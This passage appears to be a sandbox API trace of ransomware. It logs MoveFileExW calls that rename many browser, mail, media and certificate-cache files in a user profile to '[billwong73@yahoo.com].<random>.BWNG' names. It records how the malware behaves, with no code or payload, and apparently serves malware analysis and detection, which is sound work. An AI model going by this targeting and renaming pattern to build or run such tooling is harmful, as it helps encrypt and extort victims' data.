HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\[billwong73@yahoo.com].jvRkKv1L-UEQhpS8X.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\[billwong73@yahoo.com].jvrkkv1l-ueqhps8x.bwng"), dwFlags=0x1) returned 1 [0136.878] GetTickCount () returned 0x1169a4d [0136.878] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27883068807) returned 1 [0136.879] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\[billwong73@yahoo.com].HRSPYnmZ-BZ4Sjq3C.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\[billwong73@yahoo.com].hrspynmz-bz4sjq3c.bwng"), dwFlags=0x1) returned 1 [0136.880] GetTickCount () returned 0x1169a4d [0136.880] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27883230789) returned 1 [0136.880] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\[billwong73@yahoo.com].fKjV9aX9-Yxq4LWQm.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\[billwong73@yahoo.com].fkjv9ax9-yxq4lwqm.bwng"), dwFlags=0x1) returned 1 [0136.882] GetTickCount () returned 0x1169a4d [0136.882] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27883419184) returned 1 [0136.882] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\[billwong73@yahoo.com].s5QRw0tC-tXVEp4yz.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\[billwong73@yahoo.com].s5qrw0tc-txvep4yz.bwng"), dwFlags=0x1) returned 1 [0136.884] GetTickCount () returned 0x1169a4d [0136.884] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27883600521) returned 1 [0136.884] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\[billwong73@yahoo.com].XMN3oniS-7XOIAqY5.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\[billwong73@yahoo.com].xmn3onis-7xoiaqy5.bwng"), dwFlags=0x1) returned 1 [0136.886] GetTickCount () returned 0x1169a4d [0136.886] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27883795503) returned 1 [0136.886] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\[billwong73@yahoo.com].B1mIH5st-NFVIjmBG.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\[billwong73@yahoo.com].b1mih5st-nfvijmbg.bwng"), dwFlags=0x1) returned 1 [0136.888] GetTickCount () returned 0x1169a4d [0136.888] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27883982801) returned 1 [0136.888] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\[billwong73@yahoo.com].jxxbWqfA-J4muoEO8.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\[billwong73@yahoo.com].jxxbwqfa-j4muoeo8.bwng"), dwFlags=0x1) returned 1 [0137.012] GetTickCount () returned 0x1169aca [0137.012] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27896422809) returned 1 [0137.013] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\current"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\[billwong73@yahoo.com].qXs2w1wQ-lPhJ0FCJ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\[billwong73@yahoo.com].qxs2w1wq-lphj0fcj.bwng"), dwFlags=0x1) returned 1 [0137.015] GetTickCount () returned 0x1169aca [0137.015] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27896698670) returned 1 [0137.015] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\README" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\readme"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\[billwong73@yahoo.com].GKDwDJ8G-sOKA8jeX.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\[billwong73@yahoo.com].gkdwdj8g-soka8jex.bwng"), dwFlags=0x1) returned 1 [0137.017] GetTickCount () returned 0x1169ad9 [0137.017] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27896905881) returned 1 [0137.017] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web data"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\[billwong73@yahoo.com].4aW2REij-5VGxBDcv.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\[billwong73@yahoo.com].4aw2reij-5vgxbdcv.bwng"), dwFlags=0x1) returned 1 [0137.019] GetTickCount () returned 0x1169ad9 [0137.019] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27897079524) returned 1 [0137.019] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\[billwong73@yahoo.com].biU6VW2V-6RxV1Qqg.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\[billwong73@yahoo.com].biu6vw2v-6rxv1qqg.bwng"), dwFlags=0x1) returned 1 [0137.162] GetTickCount () returned 0x1169b66 [0137.163] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27911477514) returned 1 [0137.163] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\02_music_added_in_the_last_month.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\[billwong73@yahoo.com].MLkmqMln-eAYQMz5B.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\[billwong73@yahoo.com].mlkmqmln-eayqmz5b.bwng"), dwFlags=0x1) returned 1 [0137.165] GetTickCount () returned 0x1169b66 [0137.165] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27911745240) returned 1 [0137.166] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\12_All_Video.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\12_all_video.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\[billwong73@yahoo.com].6UoDBerI-lhNIwcHk.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\[billwong73@yahoo.com].6uodberi-lhniwchk.bwng"), dwFlags=0x1) returned 1 [0137.167] GetTickCount () returned 0x1169b66 [0137.167] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27911917217) returned 1 [0137.167] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\10_all_music.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\[billwong73@yahoo.com].DNTc8CzR-fr8UCpdY.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\[billwong73@yahoo.com].dntc8czr-fr8ucpdy.bwng"), dwFlags=0x1) returned 1 [0137.169] GetTickCount () returned 0x1169b66 [0137.169] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27912082901) returned 1 [0137.169] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\account{af0db737-2ef9-4633-bf5e-1a6761ed1577}.oeaccount"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\[billwong73@yahoo.com].oegonCrq-QYuzGQtv.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\[billwong73@yahoo.com].oegoncrq-qyuzgqtv.bwng"), dwFlags=0x1) returned 1 [0137.170] GetTickCount () returned 0x1169b66 [0137.170] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27912255553) returned 1 [0137.171] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\hand prints.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\[billwong73@yahoo.com].3tMNB6sy-bYLpLsow.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\[billwong73@yahoo.com].3tmnb6sy-bylplsow.bwng"), dwFlags=0x1) returned 1 [0137.172] GetTickCount () returned 0x1169b75 [0137.172] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27912445564) returned 1 [0137.173] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\0\\a8\\c3b7bd01"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\[billwong73@yahoo.com].JTdvVMJK-sr2tHFrs.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\0\\a8\\[billwong73@yahoo.com].jtdvvmjk-sr2thfrs.bwng"), dwFlags=0x1) returned 1 [0137.174] GetTickCount () returned 0x1169b75 [0137.174] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27912642869) returned 1 [0137.174] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\71469d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\d\\08\\71469d01"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\[billwong73@yahoo.com].tgdjj3It-cKrvLkBC.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\d\\08\\[billwong73@yahoo.com].tgdjj3it-ckrvlkbc.bwng"), dwFlags=0x1) returned 1 [0137.176] GetTickCount () returned 0x1169b75 [0137.176] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27912824357) returned 1 [0137.176] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.sbstore" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.sbstore"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\[billwong73@yahoo.com].un6SiIkX-jNvtFvMc.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\[billwong73@yahoo.com].un6siikx-jnvtfvmc.bwng"), dwFlags=0x1) returned 1 [0137.178] GetTickCount () returned 0x1169b75 [0137.178] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27912995894) returned 1 [0137.178] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\readermessages"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\[billwong73@yahoo.com].bdEZFeQn-0qKYKBT6.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\[billwong73@yahoo.com].bdezfeqn-0qkykbt6.bwng"), dwFlags=0x1) returned 1 [0137.179] GetTickCount () returned 0x1169b75 [0137.180] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27913175709) returned 1 [0137.180] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\4dd39726d4b55ac3b4119b35a893323c_46cccfb940a93f39a734f69efcdd76e9"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].lp7O3mrc-UgpguWUI.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].lp7o3mrc-ugpguwui.bwng"), dwFlags=0x1) returned 1 [0137.181] GetTickCount () returned 0x1169b75 [0137.181] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27941274723) returned 1 [0137.461] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\7d266d9e1e69fa1eefb9699b009b34c8_0a9bfdd75b598c2110cbf610c078e6e6"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].NE2hkMkK-0AOiOiu0.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].ne2hkmkk-0aoioiu0.bwng"), dwFlags=0x1) returned 1 [0137.464] GetTickCount () returned 0x1169c8e [0137.464] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27941613406) returned 1 [0137.464] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_f2318f7ab33980a131a265454c39ca30"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].y9JfGKsQ-HZD6PIkY.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].y9jfgksq-hzd6piky.bwng"), dwFlags=0x1) returned 1 [0137.466] GetTickCount () returned 0x1169c8e [0137.466] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27941806670) returned 1 [0137.466] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\9c888beabccbc2a97b0d6d9214c3ba37_ebc75728c6119a77e4da8559dd10f061"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].sVNensdM-kf6clSNh.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].svnensdm-kf6clsnh.bwng"), dwFlags=0x1) returned 1 [0137.467] GetTickCount () returned 0x1169c8e [0137.467] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27941962904) returned 1 [0137.468] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\d47dbd2f9e3365fbbe008d71fb06716f_4dd1053bcc726da41115fff4c7d6e9cc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].FQZAK7hS-bpzHgu65.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].fqzak7hs-bpzhgu65.bwng"), dwFlags=0x1) returned 1 [0137.469] GetTickCount () returned 0x1169c9e [0137.469] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27942127683) returned 1 [0137.469] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\23B523C9E7746F715D33C6527C18EB9D" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\23b523c9e7746f715d33c6527c18eb9d"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].7aLo3MQS-88Jl71kX.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].7alo3mqs-88jl71kx.bwng"), dwFlags=0x1) returned 1 [0137.471] GetTickCount () returned 0x1169c9e [0137.471] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27942283646) returned 1 [0137.471] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\705a76de71ea2caebb8f0907449ce086_9752c5b2d53ee7a19f7764b52968ec21"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].WpsZaTXO-qfw4hVi7.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].wpszatxo-qfw4hvi7.bwng"), dwFlags=0x1) returned 1 [0137.472] GetTickCount () returned 0x1169c9e [0137.472] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27942437925) returned 1 [0137.472] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_581c904db5924e46a6c1a8637614a40e"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].DBEIxzQt-rt9K9d0R.BWNG" (normalized: "c:\\users\\5p5nrgjn0js 